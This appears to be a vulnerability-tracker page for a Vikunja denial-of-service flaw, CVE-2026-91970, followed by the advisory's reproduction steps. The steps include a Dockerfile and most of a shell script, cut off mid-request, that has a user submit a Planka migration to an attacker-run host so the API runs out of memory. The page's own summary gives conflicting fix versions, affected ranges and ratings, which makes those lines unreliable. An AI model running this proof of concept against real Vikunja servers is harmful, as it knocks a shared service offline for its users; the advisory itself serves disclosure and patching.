CVE-2026-91970 · GHSA-wq92-8x3r-fm38
Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API
- Risk score
- 54/100
- CVSS
- 7.1 v4.0
- Exploit chance (30 days)
- 0.4%
- Published
- 9 Oct 2026
Open in the live forecast Today's forecast
What to know
- What it is
- The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the co…
- Affected
- code.vikunja.io/api (go) >= 2.5.0, < 2.6.0
- Fix
- Upgrade code.vikunja.io/api to 2.6.0 or later.
- Exploitation
- No known exploitation
Story map
At a glance
code.vikunja.io/api: Amber, patch this week. registerAPIRoutesV2 never applies the unconditional pre-auth rate-limit floor (unauthRateLimit()) to the v2 public routes — it passes that limiter only to /api/v2/ws — and otherwise relies on setupRateLimit, which registers nothing when ratelimit.enabled is false (the default). So on a stock install every v2 pre-auth …
The flaws
- CVE-2026-91970: Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API (CVSS 7.1 · EPSS 0%)
- CVE-2026-91972: Vikunja: Every /api/v2 pre-auth endpoint is unthrottled on a stock install while its /api/v1 twin is rate limited (CVSS 8.7 · EPSS 1%)
- CVE-2026-68581: Vikunja: Link-share principal ID collision allows cross-account API token issuance and management (CVSS 8.1 · EPSS 0%)
- CVE-2026-62376: Vikunja: Plaintext storage of password-reset/email-confirm tokens in database enables account takeover on DB read access (CVSS 8.1 · EPSS 0%)
The fix
Upgrade code.vikunja.io/api: 2.4.0 or later on your release line
Who is exposed: code.vikunja.io/api (go) <= 2.5.0
Where it stands
- Public proof of concept
Connects to
- Same weakness: Denial of service (CWE-770). 206 other warnings in 30 days
Why it is Yellow
- CVSS 7.1 high
- On your watchlist: Go
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| code.vikunja.io/api | go | >= 2.5.0, < 2.6.0 | 2.6.0 |
References
- https://github.com/advisories/GHSA-wq92-8x3r-fm38
- https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38
- https://nvd.nist.gov/vuln/detail/CVE-2026-91970
- https://github.com/go-vikunja/vikunja/pull/3688
- https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0
- https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration
- https://github.com/advisories/GHSA-wq92-8x3r-fm38
Original description
# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API ## Summary The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses. ## Impact and affected scope - **Type:** Resource Exhaustion Dos - **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator - **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit. - **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026 - **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission. ## Technical details Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum. Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination Relevant code: - `pkg/routes/api/v2/migration_credentials.go:35` - `pkg/routes/api/v2/migration_shared.go:73` - `pkg/routes/api/v2/migration_shared.go:95` - `pkg/modules/migration/planka/client.go:37` - `pkg/modules/migration/planka/client.go:356` - `pkg/modules/migration/planka/fetch.go:29` - `pkg/modules/migration/planka/fetch.go:32` - `pkg/modules/migration/planka/convert.go:275` - `pkg/modules/migration/planka/convert.go:280` - `pkg/modules/migration/planka/convert.go:293` - `pkg/modules/migration/planka/planka.go:86` - `pkg/modules/migration/planka/planka.go:100` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27-bookworm AS builder WORKDIR /src COPY --from=target . . RUN mkdir -p frontend/dist \ && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \ && go build -o /out/vikunja . FROM golang:1.27-bookworm RUN apt-get update \ && apt-get install -y --no-install-recommends ca-certificates curl python3 \ && rm -rf /var/lib/apt/lists/* WORKDIR /app COPY --from=builder /out/vikunja /app/vikunja COPY . /app RUN chmod +x /app/verify.sh ``` Create `reproduction/verify.sh`: ```sh #!/usr/bin/env bash set -euo pipefail test -d /target-repo test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260" test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}" mkdir -p /work/files /work/logs export VIKUNJA_DATABASE_TYPE=sqlite export VIKUNJA_DATABASE_PATH=/work/vikunja.db export VIKUNJA_FILES_BASEPATH=/work/files export VIKUNJA_LOG_PATH=/work/logs export VIKUNJA_SERVICE_ROOTPATH=/work export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456 export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/ export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/ python3 /app/malicious_planka.py > /work/planka.log 2>&1 & PLANKA_PID=$! /app/vikunja > /work/vikunja.log 2>&1 & VIKUNJA_PID=$! cleanup() { if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then kill "${VIKUNJA_PID}" 2>/dev/null || true wait "${VIKUNJA_PID}" 2>/dev/null || true fi if kill -0 "${PLANKA_PID}" 2>/dev/null; then kill "${PLANKA_PID}" 2>/dev/null || true wait "${PLANKA_PID}" 2>/dev/null || true fi } trap cleanup EXIT for _ in $(seq 1 90); do if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \ && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then break fi sleep 1 done curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null REGISTER_CODE="$(curl -sS -o /work/register.json -w '%{http_code}' \ -H 'Content-Type: application/json' \ -d '{"username":"PoC","email":"PoC@example.invalid","password":"PoC-Test-Password-123!"}' \ http://127.0.0.1:3456/api/v2/register)" test "${REGISTER_CODE}" = "201" curl -fsS \ -H 'Content-Type: application/json' \ -d '{"username":"PoC","password":"PoC-Test-Password-123!","long_token":false}' \ http://127.0.0.1:3456/api/v2/login > /work/login.json TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')" test -n "${TOKEN}" BASELINE_RSS_KIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJA_PID}/status")" OOM_BEFORE="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)" MIGRATE_CODE="$(curl -sS -o /work/migrate.json -w '%{http_code}' \ -H "Authorization: Bearer ${TOKEN}" \ -H 'Content-Type: application/json' \ -d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \ http://127.0.0.1:3456/api/v2/mig
Last activity 9 Oct 2026. Patch Forecast updates every hour.